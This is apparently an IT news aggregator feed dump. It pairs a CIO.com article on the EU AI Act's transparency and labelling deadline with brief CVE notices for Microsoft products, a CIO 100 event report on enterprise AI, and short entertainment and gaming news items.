<p class="wp-block-paragraph">Applicable systems must be intended to interact directly with “natural persons”; these systems include AI-enabled chatbots or conversational agents, AI companions, or coding agents. However, AI-enabled tools like recommender systems, spam filters, authentication, search and retrieval, transcription, text and code auto-completion, or predictive maintenance do not fall under the rule.</p>



<p class="wp-block-paragraph">Specific outputs such as AI-generated text, images, video, and audio must contain a machine-readable mark. Deepfakes and public interest-related text created by AI without human review or control must be clearly labeled, however, deepfake content that is “artistic, creative, satirical, or fictional” is largely exempt.</p>



<p class="wp-block-paragraph">AI content must be marked with one of three labels: “AI,” “Fully AI-generated,” or “Partially AI-modified.” For instance, “Fully AI-generated” applies when news summaries, music, art, or videos have been created without any human oversight (apart from prompting), while “partially AI-modified” could mean a person’s face is swapped into an authentic photograph to create a deepfake.</p>



<p class="wp-block-paragraph">The three icons are publicly available for free use; enterprises can download zip files in <a href="https://ec.europa.eu/newsroom/dae/redirection/document/129547" target="_blank" rel="noreferrer noopener">PNG</a> and <a href="https://ec.europa.eu/newsroom/dae/redirection/document/129546" target="_blank" rel="noreferrer noopener">SVG</a> formats.</p>



<p class="wp-block-paragraph">Most of the <a href="https://www.cio.com/article/4032894/analysis-of-the-european-ai-regulation-one-year-after-its-entry-into-force.html" target="_blank">Act’s transparency rules</a> begin to go into effect on August 2. But AI systems placed on the market before then will have some leeway; they must be in compliance by December 2.</p>



<p class="wp-block-paragraph">However, a four-month allowance “on one obligation, for one population of systems, contingent on one procedural step, is not a strategy,” Gogia emphasized. Enterprises should plan to comply by August 2 and “treat any relief that arrives as margin.”</p>



<h2 class="wp-block-heading">A consistent code of practice</h2>



<p class="wp-block-paragraph">Along with the transparency guidelines, the Commission has introduced a <a href="https://digital-strategy.ec.europa.eu/en/policies/code-practice-ai-generated-content" target="_blank" rel="noreferrer noopener">code of practice</a> that essentially serves as a gesture of good faith. When signed, it can provide “legal certainty” and a “simple and practical” way to demonstrate compliance with the <a href="https://www.cio.com/article/4143748/top-global-and-us-ai-regulations-to-look-out-for.html" target="_blank">AI Act</a>, according to the Commission. Signatories can also collaborate through the ‘Signatory Taskforce,’ which will share practices and advance technologies around marking and labeling practices.</p>



<p class="wp-block-paragraph">Providers that choose not to sign must comply through other methods and demonstrate that those methods are “adequate” through assessment by surveillance authorities, according to the Commission.</p>



<p class="wp-block-paragraph">Non-signatories “keep their flexibility, and will face more case-by-case scrutiny for it,” said Gogia.</p>



<h2 class="wp-block-heading">Criteria for compliance </h2>



<p class="wp-block-paragraph"><a href="https://www.infotech.com/profiles/shashi-bellamkonda" target="_blank" rel="noreferrer noopener">Shashi Bellamkonda</a>, principal research director at Info-Tech Research Group, pointed out that the transparency requirements apply to content only when three criteria are met: It has been published, is informative to the public, or is on matters of public interest.</p>



<p class="wp-block-paragraph">B2B business content or blogs may not need an AI disclosure if they do not meet these criteria, he noted. Also, published text that has undergone human review or is under editorial control does not need to be labeled. Editorial control means that a person must hold the ultimate legal responsibility for the publication of the content.</p>



<p class="wp-block-paragraph">Many companies like Google, Adobe, and LinkedIn have already established ways to identify images marked as AI-generated. Meta has made it a requirement, but the creator has to add the AI-generated label, Bellamkonda said.</p>



<p class="wp-block-paragraph">“This is a good move for <a href="https://www.computerworld.com/article/4164963/eu-lawmakers-fail-to-agree-on-watered-down-ai-act-talks-pushed-to-may.html" target="_blank">guardrails</a> around public information, and companies with good compliance and ethical oversight may not have to worry about this,” he noted. But as a general practice, companies should disclose AI-generated content and state whether it has been human reviewed.</p>



<h2 class="wp-block-heading">Creating a transparency pipeline</h2>



<p class="wp-block-paragraph">Establishing full transparency means identifying who carries the responsibility for the content, whether the marking survives real use, not just testing, and what evidence will defend the decision, Gogia said.</p>



<p class="wp-block-paragraph">Concerns cluster around responsibility, durability and evidence. Several organizations usually touch one piece of content, and none controls the whole chain, which is why contracts become the “pressure point,” he said. Most current agreements were written to deliver software and say “almost nothing” about provenance persistence, verification access, or evidence retention.</p>



<p class="wp-block-paragraph">The durability concern is the most difficult, Gogia noted, because marking performs well in controlled settings but “badly in ordinary life.” Meta, for one, said its invisible watermark was designed to survive cropping; a published test, however, found the company’s preview detector missed <a href="https://www.reuters.com/business/meta-ai-image-detector-fails-identify-some-its-own-cropped-ai-images-reuters-2026-07-10/" target="_blank" rel="noreferrer noopener">55% of cropped images</a>.</p>



<p class="wp-block-paragraph">“CIOs should ask which platform can actually provide evidence before believing its dashboard,” said Gogia.</p>



<p class="wp-block-paragraph">Disclosure of AI use must be “clear, distinguishable and accessible,” he emphasized. “A notice buried in lengthy terms, or reachable only through determined clicking, satisfies nobody, least of all a market surveillance authority.”</p>



<p class="wp-block-paragraph">Sustained compliance is a “living control” requiring a central record of systems, duties and evidence; testing taking place where the user meets the control rather than where the developer built it; and continuous supplier assurance. Enforcement will vary by country, so keep one common baseline with local overlays, Gogia said.</p>



<p class="wp-block-paragraph">His advice: Inventory every system that talks to people, generates content, or gauges sentiment; classify provider and deployer roles; place disclosures at first interaction; define substantive human review; keep the evidence.</p>



<p class="wp-block-paragraph">Marks and provenance signals should be tested after content undergoes cropping, compression, translation, transcription, and other editing, Gogia said. A useful audit starts from a real output and follows its “pulse” through generation, editing and publication, identifying at “each beat” the responsible party, the surviving mark, and evidence for exceptions. Missed labels should also be traced for root cause and recurrence.</p>



<p class="wp-block-paragraph">To ensure compliance, before August 2, enterprises need a prioritized inventory, live disclosures on the highest-risk use cases, and a “named owner for every control,” he noted. In the first 30 days, they should stabilize and test; in the first 90 days, push requirements into procurement processes as a standing discipline. Procurement must secure commitments on marking methods, known failure modes, and evidence access, with explicit notice if/when any of them change.</p>



<p class="wp-block-paragraph">“The sensible architecture is a common transparency baseline carrying traceability, responsibility, and evidence, with jurisdictional overlays for language, sector rules, and local practice,” Gogia said.</p>



<p class="wp-block-paragraph"><em>This article originally appeared on <a href="https://www.cio.com/article/4199109/the-eus-ai-transparency-deadline-is-weeks-away-is-your-enterprise-ready.html" target="_blank">CIO.com</a>.</em></p>
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<title><![CDATA[The EU’s AI transparency deadline is weeks away. Is your enterprise ready?]]></title>
<description><![CDATA[Providers and deployers of AI systems: You only have a couple of weeks left until you must explicitly inform users when they are interacting with AI content.



To assist in the effort, the European Commission (Commission) has published guidelines to help AI deployers get in line with the AI Act’...]]></description>
<link>https://tsecurity.de/de/3682511/it-nachrichten/the-eus-ai-transparency-deadline-is-weeks-away-is-your-enterprise-ready/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3682511/it-nachrichten/the-eus-ai-transparency-deadline-is-weeks-away-is-your-enterprise-ready/</guid>
<pubDate>Tue, 21 Jul 2026 03:48:17 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Providers and deployers of AI systems: You only have a couple of weeks left until you must explicitly inform users when they are interacting with AI content.</p>



<p class="wp-block-paragraph">To assist in the effort, the European Commission (Commission) has published <a href="https://ec.europa.eu/commission/presscorner/detail/en/ip_26_1653" target="_blank" rel="noreferrer noopener">guidelines</a> to help AI deployers get in line with the AI Act’s transparency obligations, which will begin to go into effect on August 2.</p>



<p class="wp-block-paragraph">After that, companies providing AI systems must alert users when they are interacting with AI. They must also tell users when they have been exposed to deepfakes, “emotion recognition,” or biometric categorization systems, or when they are given AI-manipulated content in matters of “public interests without human review or editorial control.”</p>



<p class="wp-block-paragraph"><a href="https://commission.europa.eu/about/organisation/college-commissioners/henna-virkkunen_en" target="_blank" rel="noreferrer noopener">Henna Virkkunen</a>, the Commission’s executive VP for tech sovereignty, security and democracy, said in a statement, “with today’s guidelines, the Commission supports the smooth and effective application of the AI Act to make AI systems interacting with people such as chatbots and AI agents and AI content more transparent and trustworthy. These guidelines support providers and deployers in meeting their obligations under the AI Act, while helping citizens know when they are interacting with AI.”</p>



<p class="wp-block-paragraph">Systems must include machine-readable markers to reveal such content, to reduce “the risk of deception and manipulation” and build public trust in AI.</p>



<p class="wp-block-paragraph">“Generative systems have collapsed the cost of producing convincing content while the cost of judging it stands where it always stood,” said <a href="https://greyhoundresearch.com/svg/" target="_blank" rel="noreferrer noopener">Sanchit Vir Gogia</a>, chief analyst at Greyhound Research. This requirement is “an attempt to restore friction to that imbalance.”</p>



<p class="wp-block-paragraph">A company’s non-compliance could result in fines anywhere from €750K (about $856K) to €15M (about $17 million), or even up to 3% of its total worldwide annual revenue.</p>



<h2 class="wp-block-heading">Transparency requirements</h2>



<p class="wp-block-paragraph">The <a href="https://www.cio.com/article/2096040/what-it-leaders-need-to-know-about-the-eu-ai-act.html" target="_blank">EU AI Act’s</a> transparency requirements apply to “natural or legal persons,” public authorities, agencies, or other bodies that develop AI systems, or have them developed, and place them on the EU market or into use under their name or trademark. This means all companies, regardless of whether or not they are EU-based.</p>



<p class="wp-block-paragraph">“Systems placed on the European market, put into service there, or producing outputs used there are inside the field, wherever the developer sits,” Gogia noted.</p>



<p class="wp-block-paragraph">Applicable systems must be intended to interact directly with “natural persons”; these systems include AI-enabled chatbots or conversational agents, AI companions, or coding agents. However, AI-enabled tools like recommender systems, spam filters, authentication, search and retrieval, transcription, text and code auto-completion, or predictive maintenance do not fall under the rule.</p>



<p class="wp-block-paragraph">Specific outputs such as AI-generated text, images, video, and audio must contain a machine-readable mark. Deepfakes and public interest-related text created by AI without human review or control must be clearly labeled, however, deepfake content that is “artistic, creative, satirical, or fictional” is largely exempt.</p>



<p class="wp-block-paragraph">AI content must be marked with one of three labels: “AI,” “Fully AI-generated,” or “Partially AI-modified.” For instance, “Fully AI-generated” applies when news summaries, music, art, or videos have been created without any human oversight (apart from prompting), while “partially AI-modified” could mean a person’s face is swapped into an authentic photograph to create a deepfake.</p>



<p class="wp-block-paragraph">The three icons are publicly available for free use; enterprises can download zip files in <a href="https://ec.europa.eu/newsroom/dae/redirection/document/129547" target="_blank" rel="noreferrer noopener">PNG</a> and <a href="https://ec.europa.eu/newsroom/dae/redirection/document/129546" target="_blank" rel="noreferrer noopener">SVG</a> formats.</p>



<p class="wp-block-paragraph">Most of the <a href="https://www.cio.com/article/4032894/analysis-of-the-european-ai-regulation-one-year-after-its-entry-into-force.html" target="_blank">Act’s transparency rules</a> begin to go into effect on August 2. But AI systems placed on the market before then will have some leeway; they must be in compliance by December 2.</p>



<p class="wp-block-paragraph">However, a four-month allowance “on one obligation, for one population of systems, contingent on one procedural step, is not a strategy,” Gogia emphasized. Enterprises should plan to comply by August 2 and “treat any relief that arrives as margin.”</p>



<h2 class="wp-block-heading">A consistent code of practice</h2>



<p class="wp-block-paragraph">Along with the transparency guidelines, the Commission has introduced a <a href="https://digital-strategy.ec.europa.eu/en/policies/code-practice-ai-generated-content" target="_blank" rel="noreferrer noopener">code of practice</a> that essentially serves as a gesture of good faith. When signed, it can provide “legal certainty” and a “simple and practical” way to demonstrate compliance with the <a href="https://www.cio.com/article/4143748/top-global-and-us-ai-regulations-to-look-out-for.html" target="_blank">AI Act</a>, according to the Commission. Signatories can also collaborate through the ‘Signatory Taskforce,’ which will share practices and advance technologies around marking and labeling practices.</p>



<p class="wp-block-paragraph">Providers that choose not to sign must comply through other methods and demonstrate that those methods are “adequate” through assessment by surveillance authorities, according to the Commission.</p>



<p class="wp-block-paragraph">Non-signatories “keep their flexibility, and will face more case-by-case scrutiny for it,” said Gogia.</p>



<h2 class="wp-block-heading">Criteria for compliance </h2>



<p class="wp-block-paragraph"><a href="https://www.infotech.com/profiles/shashi-bellamkonda" target="_blank" rel="noreferrer noopener">Shashi Bellamkonda</a>, principal research director at Info-Tech Research Group, pointed out that the transparency requirements apply to content only when three criteria are met: It has been published, is informative to the public, or is on matters of public interest.</p>



<p class="wp-block-paragraph">B2B business content or blogs may not need an AI disclosure if they do not meet these criteria, he noted. Also, published text that has undergone human review or is under editorial control does not need to be labeled. Editorial control means that a person must hold the ultimate legal responsibility for the publication of the content.</p>



<p class="wp-block-paragraph">Many companies like Google, Adobe, and LinkedIn have already established ways to identify images marked as AI-generated. Meta has made it a requirement, but the creator has to add the AI-generated label, Bellamkonda said.</p>



<p class="wp-block-paragraph">“This is a good move for <a href="https://www.computerworld.com/article/4164963/eu-lawmakers-fail-to-agree-on-watered-down-ai-act-talks-pushed-to-may.html" target="_blank">guardrails</a> around public information, and companies with good compliance and ethical oversight may not have to worry about this,” he noted. But as a general practice, companies should disclose AI-generated content and state whether it has been human reviewed.</p>



<h2 class="wp-block-heading">Creating a transparency pipeline</h2>



<p class="wp-block-paragraph">Establishing full transparency means identifying who carries the responsibility for the content, whether the marking survives real use, not just testing, and what evidence will defend the decision, Gogia said.</p>



<p class="wp-block-paragraph">Concerns cluster around responsibility, durability and evidence. Several organizations usually touch one piece of content, and none controls the whole chain, which is why contracts become the “pressure point,” he said. Most current agreements were written to deliver software and say “almost nothing” about provenance persistence, verification access, or evidence retention.</p>



<p class="wp-block-paragraph">The durability concern is the most difficult, Gogia noted, because marking performs well in controlled settings but “badly in ordinary life.” Meta, for one, said its invisible watermark was designed to survive cropping; a published test, however, found the company’s preview detector missed <a href="https://www.reuters.com/business/meta-ai-image-detector-fails-identify-some-its-own-cropped-ai-images-reuters-2026-07-10/" target="_blank" rel="noreferrer noopener">55% of cropped images</a>.</p>



<p class="wp-block-paragraph">“CIOs should ask which platform can actually provide evidence before believing its dashboard,” said Gogia.</p>



<p class="wp-block-paragraph">Disclosure of AI use must be “clear, distinguishable and accessible,” he emphasized. “A notice buried in lengthy terms, or reachable only through determined clicking, satisfies nobody, least of all a market surveillance authority.”</p>



<p class="wp-block-paragraph">Sustained compliance is a “living control” requiring a central record of systems, duties and evidence; testing taking place where the user meets the control rather than where the developer built it; and continuous supplier assurance. Enforcement will vary by country, so keep one common baseline with local overlays, Gogia said.</p>



<p class="wp-block-paragraph">His advice: Inventory every system that talks to people, generates content, or gauges sentiment; classify provider and deployer roles; place disclosures at first interaction; define substantive human review; keep the evidence.</p>



<p class="wp-block-paragraph">Marks and provenance signals should be tested after content undergoes cropping, compression, translation, transcription, and other editing, Gogia said. A useful audit starts from a real output and follows its “pulse” through generation, editing and publication, identifying at “each beat” the responsible party, the surviving mark, and evidence for exceptions. Missed labels should also be traced for root cause and recurrence.</p>



<p class="wp-block-paragraph">To ensure compliance, before August 2, enterprises need a prioritized inventory, live disclosures on the highest-risk use cases, and a “named owner for every control,” he noted. In the first 30 days, they should stabilize and test; in the first 90 days, push requirements into procurement processes as a standing discipline. Procurement must secure commitments on marking methods, known failure modes, and evidence access, with explicit notice if/when any of them change.</p>



<p class="wp-block-paragraph">“The sensible architecture is a common transparency baseline carrying traceability, responsibility, and evidence, with jurisdictional overlays for language, sector rules, and local practice,” Gogia said.</p>
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<title><![CDATA[CVE-2024-37325 | Microsoft Azure Science Virtual Machine on Linux information disclosure (EUVD-2024-36986)]]></title>
<description><![CDATA[A vulnerability labeled as critical has been found in Microsoft Azure Science Virtual Machine on Linux. The affected element is an unknown function. Executing a manipulation can lead to information disclosure.

The identification of this vulnerability is CVE-2024-37325. The attack may be launched...]]></description>
<link>https://tsecurity.de/de/3682476/sicherheitsluecken/cve-2024-37325-microsoft-azure-science-virtual-machine-on-linux-information-disclosure-euvd-2024-36986/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3682476/sicherheitsluecken/cve-2024-37325-microsoft-azure-science-virtual-machine-on-linux-information-disclosure-euvd-2024-36986/</guid>
<pubDate>Tue, 21 Jul 2026 03:07:36 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability labeled as <a href="https://vuldb.com/kb/risk">critical</a> has been found in <a href="https://vuldb.com/product/microsoft:azure_science_virtual_machine">Microsoft Azure Science Virtual Machine</a> on Linux. The affected element is an unknown function. Executing a manipulation can lead to information disclosure.

The identification of this vulnerability is <a href="https://vuldb.com/cve/CVE-2024-37325">CVE-2024-37325</a>. The attack may be launched remotely. There is no exploit available.

It is best practice to apply a patch to resolve this issue.]]></content:encoded>
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<title><![CDATA[What is the release date for Stuart Fails to Save the Universe on HBO Max?]]></title>
<description><![CDATA[We're stepping away from The Big Bang Theory into the most unexpected spinoff ever. But when does Stuart Fails to Save the Universe hit HBO Max?]]></description>
<link>https://tsecurity.de/de/3682469/it-nachrichten/what-is-the-release-date-for-stuart-fails-to-save-the-universe-on-hbo-max/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3682469/it-nachrichten/what-is-the-release-date-for-stuart-fails-to-save-the-universe-on-hbo-max/</guid>
<pubDate>Tue, 21 Jul 2026 03:01:47 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[We're stepping away from The Big Bang Theory into the most unexpected spinoff ever. But when does Stuart Fails to Save the Universe hit HBO Max?]]></content:encoded>
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<title><![CDATA[CVE-2024-30086 | Microsoft Windows up to Server 2022 23H2 Win32 Kernel Subsystem use after free (EUVD-2024-28023)]]></title>
<description><![CDATA[A vulnerability classified as critical was found in Microsoft Windows. This issue affects some unknown processing of the component Win32 Kernel Subsystem. Executing a manipulation can lead to use after free.

This vulnerability is registered as CVE-2024-30086. The attack needs to be launched loca...]]></description>
<link>https://tsecurity.de/de/3682452/sicherheitsluecken/cve-2024-30086-microsoft-windows-up-to-server-2022-23h2-win32-kernel-subsystem-use-after-free-euvd-2024-28023/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3682452/sicherheitsluecken/cve-2024-30086-microsoft-windows-up-to-server-2022-23h2-win32-kernel-subsystem-use-after-free-euvd-2024-28023/</guid>
<pubDate>Tue, 21 Jul 2026 02:39:06 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability classified as <a href="https://vuldb.com/kb/risk">critical</a> was found in <a href="https://vuldb.com/product/microsoft:windows">Microsoft Windows</a>. This issue affects some unknown processing of the component <em>Win32 Kernel Subsystem</em>. Executing a manipulation can lead to use after free.

This vulnerability is registered as <a href="https://vuldb.com/cve/CVE-2024-30086">CVE-2024-30086</a>. The attack needs to be launched locally. No exploit is available.

It is best practice to apply a patch to resolve this issue.]]></content:encoded>
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<title><![CDATA[CVE-2024-30095 | Microsoft Windows up to Server 2022 23H2 Routing/Remote Access Service heap-based overflow (EUVD-2024-28032)]]></title>
<description><![CDATA[A vulnerability categorized as critical has been discovered in Microsoft Windows. Affected by this issue is some unknown functionality of the component Routing/Remote Access Service. The manipulation results in heap-based buffer overflow.

This vulnerability was named CVE-2024-30095. The attack m...]]></description>
<link>https://tsecurity.de/de/3682447/sicherheitsluecken/cve-2024-30095-microsoft-windows-up-to-server-2022-23h2-routingremote-access-service-heap-based-overflow-euvd-2024-28032/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3682447/sicherheitsluecken/cve-2024-30095-microsoft-windows-up-to-server-2022-23h2-routingremote-access-service-heap-based-overflow-euvd-2024-28032/</guid>
<pubDate>Tue, 21 Jul 2026 02:39:00 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability categorized as <a href="https://vuldb.com/kb/risk">critical</a> has been discovered in <a href="https://vuldb.com/product/microsoft:windows">Microsoft Windows</a>. Affected by this issue is some unknown functionality of the component <em>Routing/Remote Access Service</em>. The manipulation results in heap-based buffer overflow.

This vulnerability was named <a href="https://vuldb.com/cve/CVE-2024-30095">CVE-2024-30095</a>. The attack may be performed from remote. There is no available exploit.

It is best practice to apply a patch to resolve this issue.]]></content:encoded>
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<title><![CDATA[CIO 100 Leadership Live New York: CIOs push past AI pilots for measurable returns]]></title>
<description><![CDATA[Technology executives from across the New York metropolitan area gathered July 16 at Convene, One Liberty Plaza, for CIO 100 Leadership Live New York, a full day of roundtables and panel discussions on enterprise AI investment, governance, and organizational change.



Several key areas of consen...]]></description>
<link>https://tsecurity.de/de/3682348/it-security-nachrichten/cio-100-leadership-live-new-york-cios-push-past-ai-pilots-for-measurable-returns/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3682348/it-security-nachrichten/cio-100-leadership-live-new-york-cios-push-past-ai-pilots-for-measurable-returns/</guid>
<pubDate>Tue, 21 Jul 2026 01:07:24 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Technology executives from across the New York metropolitan area gathered July 16 at Convene, One Liberty Plaza, for <a href="https://event.foundryco.com/cio-100-leadership-live-new-york/">CIO 100 Leadership Live New York</a>, a full day of roundtables and panel discussions on enterprise AI investment, governance, and organizational change.</p>



<p class="wp-block-paragraph">Several key areas of consensus emerged throughout this highly interactive event. Infrastructure fragmentation continues to block the path to securing returns on AI investments prompting leaders to understand rising cloud spend attributed to large language model utilization. This has caused a growing number of organizations to refocus on on-premises and hybrid options in C-suite and board-level capital planning conversations. Speakers, along with comments from the audience, described a shift from project thinking to product thinking, with smaller multidisciplinary teams moving faster than legacy structures.</p>



<p class="wp-block-paragraph">Several participants repeatedly warned that automating broken processes just amplifies dysfunction. Governance and measurement remain unresolved, with usage metrics still getting mistaken for business value. One of the panels explored how CIOs may benefit from applying venture capital-style scrutiny to enterprise bets, weighing team execution as heavily as the technology itself. The throughline was a redefinition of the CIO role, from technology executor to business strategist fluent in revenue, board engagement, and transformation ownership.</p>



<h2 class="wp-block-heading">Morning roundtable tackles AI infrastructure</h2>



<p class="wp-block-paragraph">The day opened with an invitation-only executive breakfast roundtable, “Beyond the Pilot, Building the Infrastructure for Real AI Returns,” co-hosted by Unisys and Dell Technologies. Over a dozen executives representing major public and private sector organizations across the New York metropolitan area joined Steve Hollander, senior director of Americas global alliances at Dell Technologies, and Matt Marshall, CIO at Unisys for a workshop-style discussion.</p>



<p class="wp-block-paragraph">The session explored the strategic, operational, financial, and technological issues that must be mastered to optimize infrastructure decisions and separate organizations that are experimenting with AI from those competing on it. Discussion questions probed how CIOs measure whether AI investment is translating into business results, how they can break the cycle of fragmented and siloed AI deployments, how boards are beginning to scrutinize seven-figure token spend and whether on-premises or hybrid infrastructure can rein in costs.</p>



<p class="wp-block-paragraph">The take-home point: the organizations pulling ahead are the ones that stopped treating AI as four separate problems, strategic, operational, financial, technological, owned by four separate functions, and started running it as one coordinated decision. Fragmentation is the actual cost center here, not the token spend itself. A CIO who solves the infrastructure question in isolation from the governance question, or the cost question in isolation from the talent question, ends up optimizing one silo while the other three keep bleeding value. Competing on AI, instead of just experimenting with it, means the finance, operations, technology and business sides are reasoning from the same picture of what’s being built and why, so the tradeoffs get made once, together, instead of getting re-litigated at every handoff.</p>



<h2 class="wp-block-heading">Forum sessions open with a mandate for growth</h2>



<p class="wp-block-paragraph">Following breakfast, the main forum program began with “The New CIO Mandate, Delivering Growth, Not Just Technology.” In a moderated conversation, Laksh Nathan, chief information officer at Paramount Skydance, drew on his experience with mergers, enterprise transformation and AI-enabled development to describe a shift from project and application management toward a product-centric operating model. Nathan addressed how smaller, multidisciplinary teams are changing expectations on both the business and technology sides of the enterprise, and what mindset changes CIOs must lead to turn AI into an engine of growth rather than a cost center.</p>



<p class="wp-block-paragraph">PwC followed with a session on “Designing the Intelligent Enterprise, From AI Investment to Evolving Operations.” Darren O’Meara, principal and chief technology officer for managed services, and Meghna Shah, principal for engineering and AI, examined why fragmented outcomes persist even after heavy investment in technology and transformation.</p>



<p class="wp-block-paragraph">The intelligent enterprise, they posited, is less about working toward achieving specific technology outcomes and more about creating operating models that integrate strategy, technology, operations, and governance into one system. This, they explained, requires linking AI, data, and decisions across the business and will leave an indelible mark on how decision rights are redesigned, funding models are developed, and accountability is enforced to accommodate the speed of the agentic economy.</p>



<h2 class="wp-block-heading">Talent, tradeoffs, and the cost of getting it wrong</h2>



<p class="wp-block-paragraph">The session “Return on Transformation: Time, Talent, and Tradeoffs” — with Prashant Hinge, chief information and transformation officer at MSIG USA; Joseph Gimigliano, chief technology officer at Northwell Health; and Eduard de Vries Sands, AI executive advisor at PatientPoint — examined why transformation initiatives so often lose their way.</p>



<p class="wp-block-paragraph">The main culprit, even today in 2026, continues to revolve around a persistent instinct for technology implementations to become the objective rather than the means to a measurable business outcome. The panelists made the case for doing the incredibly difficult work of re-engineering (if not entirely re-imagining) existing processes before automating them and then placing smaller bets inside that bigger vision.</p>



<p class="wp-block-paragraph">Ricky Thakrar, head of sales and account management at Zoho, took the stage to present “Smaller, Smarter, Safer, The Enterprise AI Architecture Most Leaders Get Backwards,” arguing that constrained, context-rich architectures consistently outperform expensive models bolted onto fragmented systems.</p>



<p class="wp-block-paragraph">A round of Hot Topic Discussion Groups and a networking lunch followed, including the Next CIO Luncheon featuring Robert Half Regional Director Jason Deneu.</p>



<h2 class="wp-block-heading">Afternoon sessions turn to security, scale, and investment signals</h2>



<p class="wp-block-paragraph">CSO and CIO Contributor Joan Goodchild moderated “Securing Trust in the Agentic Economy,” a discussion with Marlowe Cochran, CISO at the New York State Education Department, and Gee Rittenhouse, vice president of security services at AWS, on how organizations are balancing speed, innovation and security as AI agents move from experimentation into productization at scale.</p>



<p class="wp-block-paragraph">Rittenhouse framed agentic risk as closer to human risk than traditional software risk, describing how an independent agent acting in a non-deterministic way really does look like a potential insider threat, pushing CISOs toward behavioral monitoring over static workload protection. He tied this to a structural shift in defense, noting it’s hard to do agentic security if you’re not observing it, putting observability at the center of agentic risk management.</p>



<p class="wp-block-paragraph">Cochran concurred, adding that many of the key tools that are needed to move into the agentic economy already exist, but must be implemented more aggressively, comprehensively and even more creatively. CISOs don’t need to invent an entirely new security discipline for the agentic era so much as extend identity management, access control and monitoring frameworks they already run to cover a new class of non-human actor — agents.</p>



<p class="wp-block-paragraph">A session on “AI, From Experimentation to Enterprise Impact” brought together Meagan Gentry, national AI practice manager and distinguished technologist at Insight and Yuri Gubin, chief technology officer at DataArt, for a candid look at why pilots stall before reaching scaled production and what operating capabilities, governance, cost visibility, continuous education, must be in place to sustain AI once a proof of concept works.</p>



<p class="wp-block-paragraph">During the session’s Q&amp;A segment, a discussion emerged around how proof-of-concept success can result in a false signal, raising questions about whether pilots should be considered successful before the intended outcomes have had time to materialize, and drawing a distinction between measuring usage and adoption versus measuring business value.</p>



<p class="wp-block-paragraph">The panelists explored how CIOs can identify the small number of transformational AI opportunities worth pursuing rather than managing hundreds of incremental use cases, and even challenged whether prioritization is the CIO’s job at all. The discussion closed on a sequencing question with real strategic weight, whether AI-first strategies are putting the technology ahead of the business problem CIOs are trying to solve, and what role CIOs should play with boards in defining the outcomes AI is expected to support.</p>



<h2 class="wp-block-heading">A shift in perspectives</h2>



<p class="wp-block-paragraph">The “Think Like a VC, Investment Shifts Towards Focused AI Applications” session featured three venture investors, Aaron Darr, partner at Lead Edge; Isabelle Phelps, partner at Lerer Hippeau; and Marshall Porter, general partner at AlleyCorp. The panel explored how investors evaluate risk and talent in a market where products and competitive positions can shift within months, and what separates a focused AI application with durable enterprise value from an AI wrapper built to chase a trend.</p>



<p class="wp-block-paragraph">The panel challenged the enterprise instinct to seek certainty in a market moving this fast, questioning whether CIOs should stop looking for technologies that will future-proof the enterprise and instead grow more comfortable continuously reassessing their bets. Investors framed this as a deliberate departure from the traditional low-tolerance-for-failure posture that has long governed enterprise technology purchasing, arguing that the search for certainty has itself become a risk in a market where products and business models can shift within months. The discussion pressed CIOs to weigh how they can adopt a more dynamic investment mindset without compromising the enterprise security, governance and accountability their organizations still depend on.</p>



<p class="wp-block-paragraph">A Lightning Insights followed, featuring five-minute briefings from Insight, Platform9 and Console, followed by Keystone Senior Principal Ellora Sarkar’s talk on why most enterprise AI investment fails to produce measurable value and what separates the small share of firms capturing real return on investment from the majority still stuck in pilots.</p>



<h2 class="wp-block-heading">Closing the day</h2>



<p class="wp-block-paragraph">The forum closed with “What’s Next for the CIO, Preparing for the Next 12 to 24 Months,” a fireside conversation with Leif Maiorini, CIO for corporate services at Omnicom. Maiorini discussed why business processes need to be redesigned for agentic speed rather than automated around existing human workflows, how organizational structures may shift as autonomous agents reshape visibility and decision support, and where sustainable differentiation will come from once AI capability itself becomes widely accessible.</p>



<p class="wp-block-paragraph">Maiorini encouraged the industry to clearly distinguish between nondifferentiated services that should be made as efficient as possible and the differentiated capabilities that actually influence why customers choose to do business with an organization, once the major efficiency gains from optimization and AI have been captured.</p>



<p class="wp-block-paragraph">He was candid about the governance gap agentic systems open up, noting that agents lack the professional reputation, personal accountability and inherent constraints that shape human behavior, which creates new risk when autonomous decisions occur at machine speed. That combination, reinvesting efficiency gains into genuine differentiation while building governance models suited to non-human decision-makers, framed his closing case for why human creativity and judgment remain the enterprise’s most durable asset even as the underlying technology becomes commoditized.</p>



<p class="wp-block-paragraph"><strong><em>Join the CIO 100 Awards &amp; Conference Aug 17–19, 2026 at Omni PGA Frisco Resort &amp; Spa, Frisco, TX — where top IT leaders celebrate innovation and connect.  <a href="https://event.foundryco.com/cio100-symposium-and-awards/?utm_medium=editorial&amp;utm_source=cio100_foundry_research&amp;utm_campaign=cio_100_research_foundry&amp;utm_term=4/8/2026-8/19//2026&amp;utm_content=editorial">Learn more to attend or partner</a>.</em></strong></p>
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<title><![CDATA[Nächstes Studio: Alpha Dog verlässt XBOX und wird wieder unabhängig]]></title>
<description><![CDATA[Microsoft sortiert bei seinen Entwicklerstudios weiter aus. Nachdem Ninja Theory und Undead Labs an neue Besitzer gegangen sind und sich Compulsion Game und Double Fine Studios in die Unabhängigkeit retten konnten, folgt nun auch Alpha Dog dem letzteren Beispiel. Wie Windows Central berichtet, ha...]]></description>
